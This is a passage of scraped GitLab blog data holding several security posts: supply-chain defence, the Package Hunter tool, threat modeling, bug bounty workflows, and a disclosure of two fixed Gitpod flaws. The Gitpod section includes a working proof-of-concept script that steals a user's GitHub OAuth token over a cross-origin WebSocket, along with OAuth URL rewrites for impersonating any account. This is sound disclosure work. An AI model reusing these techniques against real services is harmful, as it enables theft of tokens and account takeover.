provide businesses with much-needed **visibility** and **control** over their website supply chain.\n\nThe [GitLab DevOps platform](/solutions/devops-platform/) provides the necessary layers of protection for improved web supply chain security in a single application.\n\nFirst, GitLab automates the process of **scanning the application** using [several tools](/stages-devops-lifecycle/secure/) and techniques, such as SAST, DAST, dependency, container scanning, secrets detection, and fuzz testing (including API fuzzing). This robust scanning increases visibility over potentially insecure third-party code, while also giving full visibility into all code changes before they are pushed to the main branch.\n\nWhile vulnerability scanning is an important step to minimize exposure to web supply chain attacks, the source code of the application is still exposed at the client-side and can be reverse-engineered or tampered with by attackers during the recon stage of the attack. To address this risk, GitLab provides **source code protection** through an [integration with Jscrambler](/blog/how-to-protect-your-source-code-with-gitlab-and-jscrambler/). [Jscrambler](https://jscrambler.com/?utm_source=about.gitlab.com&utm_medium=referral&utm_campaign=key-lessons-solarwinds) adds key security layers such as obfuscation, code locks, and runtime protection, which thwart static and dynamic code analysis and locks out attackers.\n\nGitLab's integration with Jscrambler also provides access to additional security layers that bring the required **visibility** and **control** over web supply chain attacks at runtime. One of these key layers is an [inventory of all the scripts running on the website](https://jscrambler.com/free-website-inventory-report?utm_source=about.gitlab.com&utm_medium=referral&utm_campaign=key-lessons-solarwinds) and network requests, providing real-time alerts whenever malicious behavior is detected at the client-side. When coupled with **Jscrambler's powerful rules engine**, GitLab provides a [zero-trust](/blog/tags.html#zero-trust) approach to website security, blocking any malicious behavior originating from third-party code.\n\nFinally, being a true end-to-end DevOps platform, GitLab has built-in security features that simplify the process of continuous iteration. This is key for any defense-in-depth strategy: Providing enough simplicity to enable security within any organization.\n\n## Supply chain security becomes new global priority\n\nThere is no question that the SolarWinds supply chain attack is one for the ages, prompting a necessary global push for improved supply chain cybersecurity and highlighted the importance of protecting the web supply chain.\n\nReducing exposure to web supply chain attacks requires a defense-in-depth approach that should be built into companies' DevSecOps workflows. GitLab's end-to-end DevOps platform provides multiple layers of security to address this risk, namely through integration partners such as Jscrambler.\n\nAs we see more companies try to improve their security posture by using the right tools to mitigate web supply chain attacks, I'm confident that they will soon outpace attackers and succeed in keeping billions of users safe.\n\n_Pedro Fortuna is the founder of [Jscrambler](https://jscrambler.com/?utm_source=about.gitlab.com&utm_medium=referral&utm_campaign=key-lessons-solarwinds)._\n\n[Cover image](https://unsplash.com/photos/d7FbDJkJSFw) by [Markus Spiske](https://unsplash.com/@markusspiske?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on Unsplash\n{: .note}\n",[2849,14,231],{"slug":4045,"featured":6,"template":677},"what-the-solarwinds-attack-can-teach-us-about-devsecops","content:en-us:blog:what-the-solarwinds-attack-can-teach-us-about-devsecops.yml","What The Solarwinds Attack Can Teach Us About Devsecops","en-us/blog/what-the-solarwinds-attack-can-teach-us-about-devsecops.yml","en-us/blog/what-the-solarwinds-attack-can-teach-us-about-devsecops",{"_path":4051,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4052,"content":4058,"config":4064,"_id":4066,"_type":16,"title":4067,"_source":17,"_file":4068,"_stem":4069,"_extension":20},"/en-us/blog/announcing-package-hunter",{"title":4053,"description":4054,"ogTitle":4053,"ogDescription":4054,"noIndex":6,"ogImage":4055,"ogUrl":4056,"ogSiteName":767,"ogType":768,"canonicalUrls":4056,"schema":4057},"Package Hunter: Detect malicious code in dependencies","We developed, tested and open sourced a new tool to analyze program dependencies and protect the supply chain.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682075/Blog/Hero%20Images/package-hunter.png","https://about.gitlab.com/blog/announcing-package-hunter","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Meet Package Hunter: A tool for detecting malicious code in your dependencies\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dennis Appelt\"}],\n        \"datePublished\": \"2021-07-23\",\n      }",{"title":4059,"description":4054,"authors":4060,"heroImage":4055,"date":4061,"body":4062,"category":14,"tags":4063},"Meet Package Hunter: A tool for detecting malicious code in your dependencies",[2342],"2021-07-23","\n\nModern programming ecosystems make code reuse exceptionally easy. No matter the\nprogramming task at hand, chances are there is a package in a public registry\nsuch as rubygems.org or npmjs.com that implements that task.\n\nWhile the reuse of publicly available packages reduces the time necessary to write an app, this reuse\nbrings its own set of challenges. Apps quickly depend on hundreds of packages,\nand programmers often simply just trust that these packages don't contain malicious code.\nIn an ideal world, all depended-upon code is thoroughly vetted before being included in a program – however, this is often unfeasible in practice due to the sheer amount of dependency code that needs to be reviewed and the lack of existing tools to help with vetting dependency code.\n\n## Malicious code in the wild\n\nPast incidents like [malicious\ncode](https://gist.github.com/jpmcb/4e45eb04534f9a6f5ab9d99912a697d9) in the\npopular package `event-stream` demonstrate that threat actors actively use public\npackage registries as a distribution channel for malicious code. This incident\nwasn't a single event either. A recent\n[review of open source software supply chain attacks](https://link.springer.com/chapter/10.1007/978-3-030-52683-2_2) found\nmany similar malicious packages in the wild.\n\nThe techniques to deliver malicious dependencies have also become more sophisticated.\nEarlier this year a security researcher discovered an implementation quirk in\nmany popular package managers, dubbed [Dependency\nConfusion](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610),\nthat can be used to trick package managers to install dependencies from an\nattacker-controlled location instead from a trusted, private package registry.\nUpon installation of the manipulated dependency, the researcher could execute arbitrary code,\nwhich could have led to compromise of production systems or CI environments.\nExisting dependency scanners typically don't detect if a dependency executes\nmalicious code, as these tools are limited to identifying\ndependencies with *known* vulnerabilities.\n\nAlthough GitLab was not directly affected by Dependency Confusion, we took [added measures to ensure packages and registries operate the way we expect them to and are continually monitored and secured](/blog/deep-dive-investigation-of-gitlab-packages/),\nand set out to build tooling to detect and prevent similar incidents in the future.\n\n## Package Hunter: Detect malicious code in program dependencies\n\nIn response to these challenges and a need for tooling to validate supply chain security, **we've developed Package Hunter and are releasing it for use by the community.**\nPackage Hunter is a tool to analyze a program's dependencies for malicious code and other unexpected behavior by installing the dependencies in a sandbox environment and\nmonitoring system calls executed during the installation. Any suspicious system calls are reported to\nthe user for further examination. Package Hunter uses [Falco](https://falco.org/) under the hood for system call monitoring.\nIt currently supports testing NodeJS modules and Ruby Gems. Refer to the\n[docs](https://gitlab.com/gitlab-org/security-products/package-hunter/-/blob/master/README.md)\nfor more technical details.\n\n### How to get started with Package Hunter\n\nPackage Hunter integrates seamlessly with GitLab. To get started, use the GitLab\n[CI template](https://gitlab.com/gitlab-org/security-products/package-hunter-cli/-/blob/main/README.md#gitlab-ci) to add a Package Hunter job to\nyour project and follow the [instructions](https://gitlab.com/gitlab-org/security-products/package-hunter/-/blob/master/README.md#installation) for setting up a\nPackage Hunter server.\n\n### We've tested Package Hunter, now it's your turn. Let us know what you think!\n\nWe have been using Package Hunter internally to test GitLab's dependencies since November 2020. \nBy making it publicly available, we hope to enable other projects to\ndetect malicious code in their dependencies before it causes any harm and also to increase\nthe general confidence in open source supply chains. Package Hunter is free and open source.\nAt GitLab, we believe [everyone can contribute](/company/mission/#everyone-can-contribute).\nIf you have found a bug, have a feature suggestion, or want to contribute code, we want to hear from you!\nCheck out the [issue tracker](https://gitlab.com/gitlab-org/security-products/package-hunter/-/issues) for planned features or to submit bug reports and follow [these resources to learn more](https://gitlab.com/gitlab-org/security-products/package-hunter#learn-more).\n",[14,1212],{"slug":4065,"featured":6,"template":677},"announcing-package-hunter","content:en-us:blog:announcing-package-hunter.yml","Announcing Package Hunter","en-us/blog/announcing-package-hunter.yml","en-us/blog/announcing-package-hunter",{"_path":4071,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4072,"content":4078,"config":4083,"_id":4085,"_type":16,"title":4086,"_source":17,"_file":4087,"_stem":4088,"_extension":20},"/en-us/blog/creating-a-threat-model-that-works-for-gitlab",{"title":4073,"description":4074,"ogTitle":4073,"ogDescription":4074,"noIndex":6,"ogImage":4075,"ogUrl":4076,"ogSiteName":767,"ogType":768,"canonicalUrls":4076,"schema":4077},"How we’re creating a threat model framework that works for GitLab","As usual, we’re creating our own path in how we handle our threat modeling, approaching development both iteratively and collaboratively, and seriously shifting left with our framework and processes.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682058/Blog/Hero%20Images/pexels-nathan-j-hilton.jpg","https://about.gitlab.com/blog/creating-a-threat-model-that-works-for-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we’re creating a threat model framework that works for GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2021-07-09\",\n      }",{"title":4073,"description":4074,"authors":4079,"heroImage":4075,"date":4080,"body":4081,"category":14,"tags":4082},[1909],"2021-07-09","\n\nThis is the first in a series of three blog posts where we discuss [threat modeling](/handbook/security/threat_modeling/) and how we’re [using it at GitLab](/handbook/security/threat_modeling/howto.html) to help secure our product, our company, and most importantly our customer’s data. As usual, [we’re doing things a bit differently](https://gitlab.com/gitlab-com/gl-security/security-research/threat-modeling-template), but when you hear why it will make a lot of sense.\n\n## Threat modeling\n\nLet’s start with the basics, what is threat modeling?\n\nThreat modeling is the process of risk assessment for a particular project, asset, procedure, or product. While it can apply to nearly any established or new procedure, it seems to most often get applied to software. For GitLab, this would mainly apply to our source code.\n\nAs assessing risk has historically been the domain of the security department of most organizations, the threat modeling process has been nearly exclusively handled by the [security department](/handbook/security/#security-department) here at GitLab. This does make a lot of sense on many levels, and many threat modeling scenarios are exclusively managed by those within the security department.\n\n## How does it work? In theory and in practice?\n\nThe general process of developing a threat model does vary, but it typically breaks down as follows:\n\n* Scope out what is to be included in the threat model process.\n* Define the potential attackers or situations that could create a security problem.\n* Assess the associated risks with the process or procedure.\n* Fix all the problems identified.\n\nThis sounds fine, but there are a few things that cause problems for a lot of organizations, especially bleeding edge companies that push boundaries. Here are a few:\n* In spite of the attempts to “shift left” it is often that most security departments look at the new code or new project towards the end of the project. In lucky cases, they are involved in the middle; but ideally they should be included in the beginning phases.\n* In large organizations with many projects, there are not enough security team members to handle the workload; especially in a shop that is constantly developing and releasing code. Depending on the project, it could take hours to simply get a security team member up to speed, assuming everyone had the free time to spend doing so. Basically, it doesn’t scale as there are simply not enough personnel to get all of the work done.\n* The models used for this are extremely thorough but also extremely complex. They can involve intricate diagrams, require input from multiple parties that may not fully understand what the other parties are doing, and use language to describe their layered steps that can be confusing and, well, quite boring.\n* No one, and I mean **no one** seems to enjoy creating a threat model.\n\n## Finding a framework we could adapt\n\nFirst off, we had to decide on a few things up front. We wanted to come up with some type of framework that allowed us to easily adopt a threat modeling process into our existing processes. Our existing processes work quite well, and we knew that if we were going to introduce something into that process, it would have to be simple.\n\nWe had to address all of the concerns that we had identified as a part of the overall threat model process and either reduce their impact or eliminate them entirely. **The threat modeling had to scale and fit into the existing development processes, not the other way around.**\n\nAsking a group of developers to learn some new process such as the process of creating elaborate diagrams that define data classification, authentication zones, permissions, and many other detailed items just didn’t make any sense. Sure, you can get a sense of part of the information being modeled, but does one have to learn some complex diagramming software package in the process?\n\nGitLab is 100% remote and 100% spread out all over the planet, and we manage to work asynchronously. Whatever process for threat modeling we were going to use was going to require the ability to work asynchronously while doing it.\n\nAfter choosing our general framework, we had to strip it down and make it fit with our existing processes, develop a “plan” on how to use it, test it, and then introduce it into the usual steps. This took a bit of time, but we came up with something.\n\n## PASTA as a base\nWe use the [PASTA](https://www.wiley.com/en-us/Risk+Centric+Threat+Modeling%3A+Process+for+Attack+Simulation+and+Threat+Analysis-p-9780470500965#) framework as a base, and with all of the adjustments we’ve made to fit GitLab’s unique environment and processes, we are already seeing positive results from our own framework. Here are some of the features:\n* It is easy to understand.\n* It scales.\n* It enhances DevSecOps with minimal overhead.\n* It is based off of an existing framework with an established track record.\n* It works nicely with existing processes within our Security department.\n* It doesn’t just apply to coding projects; it can apply to any project, including those in Infrastructure, Marketing, Sales, and other departments.\n\nThe advantages of our adoption and modification of the PASTA framework allows us to have a common language with those outside of the weird security world, and other departments within GitLab can also understand it. This well-known framework even allows us to have discussions with partners, customers, and contributors about security and risk and threat and not worry about whether they’ll be able to understand us.\n\nBut the biggest change we’ve made is not “how” but “where” and “who.” While our Security team owns the framework, we don’t “run” it. It is run by the people who are running the project. *Let me explain...*\n\nLet’s say we have a department in Engineering that is getting ready to start a new or existing project. They have a list of steps they need to run by the Security team as a part of the procedure they would normally follow. One of those steps is for that Engineering department to perform their *own* threat model. We’re available for questions, but as they know the project far better than we do, they come up with a really good model. The idea is that they will uncover a few gotchas and will fix problems either before or during the coding process. And they do!\n\nThe main tool we have available for this is a [threat modeling process that includes a template](/handbook/security/security-engineering/application-security/runbooks/threat-modeling.html), and they use this to create a markdown file (something everyone at GitLab does all the time) to record the basic steps taken during threat modeling. This way when it is time for the Security team review, which is usually near the end of the project, we can review what they’ve done. Of course there are going to be times when we will still send things back for a fix, but the vast majority of everything is already corrected!\n\nWe not only get through the threat modeling process, but the code being developed is more secure, the time to complete this added process is minimal, and it scales. It is **efficient**. It is **effective**. It is the [best kind of boring](https://handbook.gitlab.com/handbook/values/#boring-solutions).\n\n## What's next\nIn the next blog post in this series, we will take a deeper dive into the framework, including how in some cases we can use a “subset” of a full PASTA framework, and how we reached some of the decisions on our “modifications.”\n\nPhoto by [Nathan J Hilton](https://www.pexels.com/@radmondo?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com/photo/steel-frame-building-in-modern-style-5261943/?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels)\n\n{: .note}\n",[14,675,1212],{"slug":4084,"featured":6,"template":677},"creating-a-threat-model-that-works-for-gitlab","content:en-us:blog:creating-a-threat-model-that-works-for-gitlab.yml","Creating A Threat Model That Works For Gitlab","en-us/blog/creating-a-threat-model-that-works-for-gitlab.yml","en-us/blog/creating-a-threat-model-that-works-for-gitlab",{"_path":4090,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4091,"content":4096,"config":4101,"_id":4103,"_type":16,"title":4104,"_source":17,"_file":4105,"_stem":4106,"_extension":20},"/en-us/blog/two-bugs-and-a-quick-fix-in-gitpod",{"title":4092,"description":4093,"ogTitle":4092,"ogDescription":4093,"noIndex":6,"ogImage":2955,"ogUrl":4094,"ogSiteName":767,"ogType":768,"canonicalUrls":4094,"schema":4095},"A brief look at Gitpod, two bugs, and a quick fix","Our security researcher takes a look at Gitpod and finds some access tokens under the carpet.","https://about.gitlab.com/blog/two-bugs-and-a-quick-fix-in-gitpod","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A brief look at Gitpod, two bugs, and a quick fix\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joern Schneeweisz\"}],\n        \"datePublished\": \"2021-07-08\",\n      }",{"title":4092,"description":4093,"authors":4097,"heroImage":2955,"date":4098,"body":4099,"category":14,"tags":4100},[2960],"2021-07-08","\n\nWhile looking at GitLab's [Gitpod integration](https://docs.gitlab.com/ee/integration/gitpod.html), I came across two rather critical flaws in Gitpod itself. In this post, I'll cover the process of identifying the vulnerabilities and some background on Gitpod. The more critical issue was fixed and the fix was pushed to production by the Gitpod team in less than five hours from my initial report. Huge kudos to the Gitpod team for that quick turnaround.\n\n## What is Gitpod? \n\nFirst, let's see what Gitpod actually is -- taken straight from [gitpod.io](https://gitpod.io):\n\n> Spin up fresh, automated dev environments for each task, in the cloud, in seconds.\n\nThat quote sums it up really well. You can login to Gitpod with your GitLab, GitHub, or Bitbucket account and then use a pretty full-blown, web-based development environment to work on your code, run tests, or even spin up services and expose them from your Gitpod instance to the internet.\n\n## Gitpod vulnerability #1: cross-origin WebSocket access\n### Authentication process\n\nWhen logging into Gitpod via GitLab, we need to grant Gitpod the GitLab OAuth scopes `read_user` and `api`. The `api` scope is needed to give Gitpod access to GitLab private repositories and push Git commits on behalf of the user.\n\n![Gitpod OAuth scopes](https://about.gitlab.com/images/blogimages/gitpod-oauth-scopes.png){: .shadow.medium.center}\nGitpod authorization scope.\n{: .note.text-center}\n\n\nThe fact that Gitpod holds an OAuth token with full API access to all three major Git hosting platforms sparked my interest, as this level of access makes it quite a high-value target. So I decided to look a bit at the inner workings and see how far I could get.\n\n### Using the product\n\nWhen opening a Git-based project you are assigned a random workspace name [in the form of](https://github.com/gitpod-io/gitpod/blob/2b2702f31b6fc6f67c4b447c814dd6db6b4a433f/components/gitpod-protocol/src/util/generate-workspace-id.ts) `color-animal-XXXXXXXX` like `amaranth-wallaby-e7mg0z34.ws-eu03.gitpod.io`. Once the workspace is booted, you can perform all sorts of tasks, with one very interesting task being to expose application ports to the public. Exposed ports are made available at `portnumber-color-animal-XXXXXXXX`, so exposing port 3000 for our example workspace will result in having the port accessible at `https://3000-amaranth-wallaby-e7mg0z34.ws-eu03.gitpod.io`.\n\nWhile using the web-based IDE under `https://amaranth-wallaby-e7mg0z34.ws-eu03.gitpod.io`, I noticed the application opened a WebSocket connection to an API endpoint at `https://gitpod.io/api/gitpod`. Within this WebSocket connection the IDE component of Gitpod from our workspace's subdomain was communicating with the main API. A sample request message when authenticated via GitHub would be:\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 12,\n  \"method\": \"getToken\",\n  \"params\": {\n    \"host\": \"github.com\"\n  }\n}\n\n```\n\nThis request would obtain the logged-in user's access token for GitHub:\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 12,\n  \"result\": {\n    \"value\": \"gho_justafaketokenhere\",\n    \"username\": \"oauth2\",\n    \"scopes\": [\n      \"user:email\"\n    ],\n    \"updateDate\": \"2021-04-14T09:06:46.578Z\"\n  }\n}\n```\n\n### Cross-origin WebSockets\n\nAfter seeing the above messages being exchanged on the WebSocket across the different origins, the next thing I did was try this from a site where I control the content. Namely the exposed port! While it's not the exact workspace name it's still under the same subdomain: `.ws-eu03.gitpod.io`.\n\nI simply served the following snippet via the exposed application port at `https://3000-amaranth-wallaby-e7mg0z34.ws-eu03.gitpod.io`\n\n```html\n\u003Cscript type=\"module\">\n  import { Octokit } from \"https://cdn.skypack.dev/@octokit/rest\";\n  var exampleSocket = new WebSocket(\"wss://gitpod.io/api/gitpod\")\n  exampleSocket.onmessage = function (event) {\n    console.log(event.data);\n    var x = JSON.parse(event.data);\n    var token = x.result.value;\n    console.log(x.result.value);\n    const octokit = new Octokit({\n    auth: token,\n  });\n octokit.users.getAuthenticated().then((user) => alert(\"hello \"+user.data.login));\n}\nexampleSocket.onopen = function (event) {\nexampleSocket.send('{\"jsonrpc\":\"2.0\",\"id\":29,\"method\":\"getToken\",\"params\":{\"host\":\"github.com\"}}')\n}\n\u003C/script>\n```\n\nAnd to my surprise this actually worked. It was possible to access the main WebSocket on behalf of the authenticated Gitpod user from a website I fully control.\n\nThe above script accesses the WebSocket while sending the user's cookies along with the request. This means we can authenticate the connection and ask for the user's GitHub access token. To verify everything works, the script authenticates against the GitHub API using the extracted access token to obtain the associated username and greets them with a `hello \u003Cgithub-username>` browser alert dialog.\n\nThis issue was fixed by Gitpod in their [May 2021 release](https://github.com/gitpod-io/gitpod/pull/4334/files#diff-06572a96a58dc510037d5efa622f9bec8519bc1beab13c9f251e97e657a9d4edR24).\n\nFor a realistic attack, we'd need to lure a logged in Gitpod user to the app's exposed port to be able to fully impersonate them on GitLab/GitHub/BitBucket. While this is certainly quite a serious issue it still involves a lot of user interaction and social engineering to be successful.\n\n## Gitpod vulnerability #2: log in as any account\n### Custom integrations\n\nWhile familiarizing myself a bit with the product, I came across the [`Integrations`](https://gitpod.io/integrations) settings.\n\n![Gitpod Integrations](https://about.gitlab.com/images/blogimages/gitpod_integrations.png){: .shadow.medium.center}\nGitpod integrations settings.\n{: .note.text-center}\n\nCustom integrations allow a user to gather an OAuth access token from self-managed GitLab and GitHub installations. This makes perfect sense since you might want to use Gitpod with your self-managed instance too. This setting caused a big 'what if?' moment for me. What if I could use a self-managed instance to log into Gitpod? On a self-managed instance I'm the king of my castle and can set arbitrary email addresses for any user. The idea here is to fool the login process and login as someone else. So I created an OAuth application as [documented](https://www.gitpod.io/docs/gitlab-integration#registering-a-self-hosted-gitlab-installation) and registered it as an Integration within Gitpod.\n\n### My first attempt\n\nIf you choose to login with `GitLab.com`, the regular login flow starts with a call to:\n\n```\nhttps://gitpod.io/api/login?host=gitlab.com&returnTo=https%3A%2F%2Fgitpod.io%2Flogin-success\n```\n\nThe first attempt I made was to swap `gitlab.com` with the URL of a self-managed instance, just like this:\n\n```\nhttps://gitpod.io/api/login?host=gl.thetanuki.io&returnTo=https%3A%2F%2Fgitpod.io%2Flogin-success\n```\n\nIt wasn't that easy, this try would promptly redirect to:\n\n```\nhttps://gitpod.io/sorry#Login%20with%20gl.thetanuki.io%20is%20not%20allowed.\n```\n\nLetting me know that I cannot log in with my self-managed instance.\n\n### My second attempt\n\nThe login request to `https://gitpod.io/api/login?host=gitlab.com&returnTo=https%3A%2F%2Fgitpod.io%2Flogin-success` originally redirected to:\n\n```\nhttps://gitlab.com/oauth/authorize?response_type=code&redirect_uri=https%3A%2F%2Fgitpod.io%2Fauth%2Fgitlab%2Fcallback&scope=read_user%20api&client_id=bde00c0a8f15b7041aafabcc98210c73c5f2ca973cbd52c8a555fa08deebbcc8\n```\n\nI rewrote that request to point to my self-managed instance, adapted the `redirect_uri` and `client_id` values to match those on that instance. After going through the login flow I could log into any account simply by setting the corresponding email address on the self-managed instance.\n\nThe result you can see in the screenshot below. Gitpod picked up the `admin@example.com` email address for my self-managed account, but really it could have been any email address I'd wanted to spoof:\n\n![admin@example.com account](https://about.gitlab.com/images/blogimages/admin-example.png){: .shadow.medium.center}\nAdmin example in Gitpod settings.\n{: .note.text-center}\n\nGitpod was super quick to fix this issue, from the initial report it took them just about five hours to ship [a fix](https://github.com/gitpod-io/gitpod/pull/3940)!\n\n### Conclusion\n\nFirst of all huge thanks to the Gitpod team for a 10 out of 10 disclosure experience and prompt handling of the vulnerability reports.\n\nGiving full API access to third parties is a common SaaS/cloud practice, however a leak somewhere could impact seemingly unrelated services.  In this case the attack wouldn't only have affected Gitpod alone but also the connected GitLab/GitHub/Bitbucket accounts.\n\n***Security Research at GitLab***\n\n*Security research is one component of our broader security organization's efforts to enhance the security posture of our company, products, and client-facing services. See our [Security Handbook](/handbook/security/security-engineering/security-research/) to learn more.*\n\nPhoto by [Marta Branco](https://www.pexels.com/@martabranco?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com/photo/closeup-photo-of-black-and-blue-keyboard-1194713/?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels)\n{: .note}\n\n",[14,1212],{"slug":4102,"featured":6,"template":677},"two-bugs-and-a-quick-fix-in-gitpod","content:en-us:blog:two-bugs-and-a-quick-fix-in-gitpod.yml","Two Bugs And A Quick Fix In Gitpod","en-us/blog/two-bugs-and-a-quick-fix-in-gitpod.yml","en-us/blog/two-bugs-and-a-quick-fix-in-gitpod",{"_path":4108,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4109,"content":4115,"config":4120,"_id":4122,"_type":16,"title":4123,"_source":17,"_file":4124,"_stem":4125,"_extension":20},"/en-us/blog/how-i-use-gitlab-to-help-my-hack",{"title":4110,"description":4111,"ogTitle":4110,"ogDescription":4111,"noIndex":6,"ogImage":4112,"ogUrl":4113,"ogSiteName":767,"ogType":768,"canonicalUrls":4113,"schema":4114},"How do bug bounty hunters use GitLab to help their hack?","We know GitLab is a complete open source DevOps platform, but can it improve your hack? We chat with three bug bounty hunters to find out.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670944/Blog/Hero%20Images/gitlab-to-help-my-hack.png","https://about.gitlab.com/blog/how-i-use-gitlab-to-help-my-hack","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How do bug bounty hunters use GitLab to help their hack?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2021-06-11\",\n      }",{"title":4110,"description":4111,"authors":4116,"heroImage":4112,"date":4117,"body":4118,"category":14,"tags":4119},[3178],"2021-06-11","\n\nGitLab is best known as [a complete open source DevOps platform, delivered as a single application](/stages-devops-lifecycle/), but it also offers powerful project management and collaboration capabilities. In fact, every GitLab team uses GitLab to develop, track and collaborate on projects, processes, and programs.\n\n**But, what about... other uses? Say ... hacking, for instance.** 🤷‍♀️\n\nCan GitLab help a hacker fine-tune their craft? Through our [Ask a Hacker AMA series](/blog/ajxchapman-ask-a-hacker/) we discovered that there are some bug bounty hunters who use GitLab to streamline their research process. And, like so many cool and awesome things, we learned on Twitter about another contributor using GitLab for bug bounty hunting.  So, we followed up to learn more.\n\n## Meet our hackers\n### Alex Chapman\n![Alex Chapman](https://about.gitlab.com/images/blogimages/how-i-use-gitlab/alex-chapman-blog.png){: .shadow.small.center}\n\n*Alex has been hacking for 14 years professionally, but his interest was piqued well before that!*\n\n🦊  [@ajxchapman on GitLab](https://gitlab.com/ajxchapman)  🪲  [@ajxchapman on HackerOne](https://hackerone.com/ajxchapman)  🐦  [@ajxchapman on Twitter](https://twitter.com/ajxchapman)\n\n### Dominic Couture\n![Dominic Couture](https://about.gitlab.com/images/blogimages/how-i-use-gitlab/dominic-couture-blog.png){: .shadow.small.center}\n\n*Dominic is a senior security engineer on GitLab's [Application Security](/handbook/security/security-engineering/application-security/) team and has been hacking for fun for roughly 20 years, though he admits there were some \"long periods in the middle where he didn't do too much\".* 😆\n\n🦊  [@dcouture on GitLab](https://gitlab.com/dcouture/)  🪲  [@dcouture on HackerOne](https://hackerone.com/dcouture?type=user) when working and [dee-see on HackerOne](https://hackerone.com/dee-see/?type=user) when playing!  🐦  [dee__see on Twitter](https://twitter.com/dee__see)\n\n### Nishant Jain\n![Nishant Jain](https://about.gitlab.com/images/blogimages/how-i-use-gitlab/nishant-jain-blog.png){: .shadow.small.center}\n\n*Nishant has been hacking for 1.5 years and is currently working on [LinkShare](https://linksshare.io), a platform which enables users to share and categorize bug bounty resources.*\n🦊  [@archerl on GitLab](https://gitlab.com/archerl)  🪲  [@archerl on HackerOne](https://hackerone.com/archerl)  🐦  [@realArcherL on Twitter](https://twitter.com/realArcherL)\n\n## How do you use GitLab in your hack?\n\n**Alex**: I use GitLab for all of my bug bounty issue tracking from idea, through discovery, POC development and report writing. One of the biggest revelations for me in bug hunting involved note-taking. I used to be terrible at recording my thoughts, progress and ideas when hunting for bugs. This meant whenever I got sidetracked, or took a break, I would inevitably forget what I was up to and what leads I was working on.\n\nNow I record everything I can in GitLab issues. Have a random thought about something to check? Create an issue for it. Spot a potentially interesting bit of functionality while pursuing another bug? Create an issue. Get inspiration in the shower? That's right, get out the shower and create an issue. Even if I don't think it's particularly useful at the time, it can sometimes spark something several days later and I can go back and find those notes. I tag each issue with a label specifying what kind of issue it is (bug, task, lead, etc.), how worthwhile I feel it will be to complete, and how much effort I think it will require. This way when I complete my current bug exploration path, I have a whole load of leads I can go back to and pick from and investigate.\n\nAt the end of each bug hunting session, I always make sure I take five to ten minutes to write down any outstanding thoughts so nothing is lost between bug hunting sessions. This way of working means I always have a pipeline of things to investigate and, when I wake up in the middle of the night with a new idea on how to exploit something, I can just add to the existing issue and push it off until morning. Whereas before, I might have got up and started working on it right away. That's not really viable for me these days, I'm certainly getting older and I need my sleep 🤣\n\nAs an issue progresses from a lead to a reported bug, I label the issue with the bug bounty program report state, and finally as bugs are paid out I label the issue with the payout amount. This helps track lucrative programs and functionality for future research.\n\n_Editor's note: To dive even deeper into how Alex approaches bug hunting, check out his [\"Ask a Hacker\" profile blog](/blog/ajxchapman-ask-a-hacker/) and this [Ask Me Anything session](https://youtu.be/Km6toD6CAAw) we held with him where he talks about everything from what inspired him to start hacking to the types of bugs he likes to hunt._\n\n**Dominic**: I use GitLab private projects to collaborate with friends on hacking projects. Our approach is simple: Each idea about a potentially interesting thing to explore gets its own issue and then we discuss, via comment thread, the different attack vectors and the things we try and whether our attempts work or not. Everything is documented with screenshots or code snippets using the markdown formatting. When we find something it's reported and a ~reported [label](https://docs.gitlab.com/ee/user/project/labels.html) will be applied. The issue is closed either when a reported issue is accepted by the bug bounty program or when we've finished exploring an idea and found nothing. This helps us collect all ideas, validate them and exhaust all possibilities we can think of before moving on.\n\nThe other useful part is obviously the git repository. Any script that we come up with, any important file that was found, or any general note that isn't related to one specific issue is pushed to make sure it isn't forgotten over time. I have a handful of interesting targets that I like to focus on for a month or two in rotation so I can give them my full attention and go deep. This means that a given target will usually be focused on once or twice a year with long downtimes in between. The repository contains all the things I'll definitely forget and will help bring me back up to speed when the time comes.\n\n**Nishant**: Like all great things, we stumbled upon our next contributor's story via the internet. [Twitter to be exact](https://twitter.com/realArcherL/status/1379788534446321669). 😉\n\nI've been using GitLab for my [blog](https://gitlab.com/archerl/portfolio), where I post details about bug bounties, and the CI/CD feature is really easy to use. I chose GitLab to host my [CTFs](https://gitlab.com/archerl/are_you_a_polyglot) and hacking POCs because GitLab has shown that it is friendly to hackers ([Kali Linux is even hosted on GitLab](/blog/kali-linux-movingtogitlab/)) and with the [Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/), I can edit them from the repository itself.\n\nRecently, I've  been using GitLab to work with other hackers on [HackerOne programs](https://hackerone.com/directory/programs). With HackerOne's bounty splitting feature enabled, two hackers can easily collaborate on a single report. In GitLab, you can construct a group and then add repositories to it. You should give each repository a name that corresponds to the individual HackerOne program.\n\n![Screenshot of setting up project names](https://about.gitlab.com/images/blogimages/how-i-use-gitlab/creating-names.png){: .shadow.medium.center}\nCreating repositories for different H1 programs\n{: .note.text-center}\n\nYou can create [issues](https://docs.gitlab.com/ee/user/project/issues/#issues) in the issues tab, just like a developer, and mark them with custom labels. Not only that, but you can delegate the problem to a 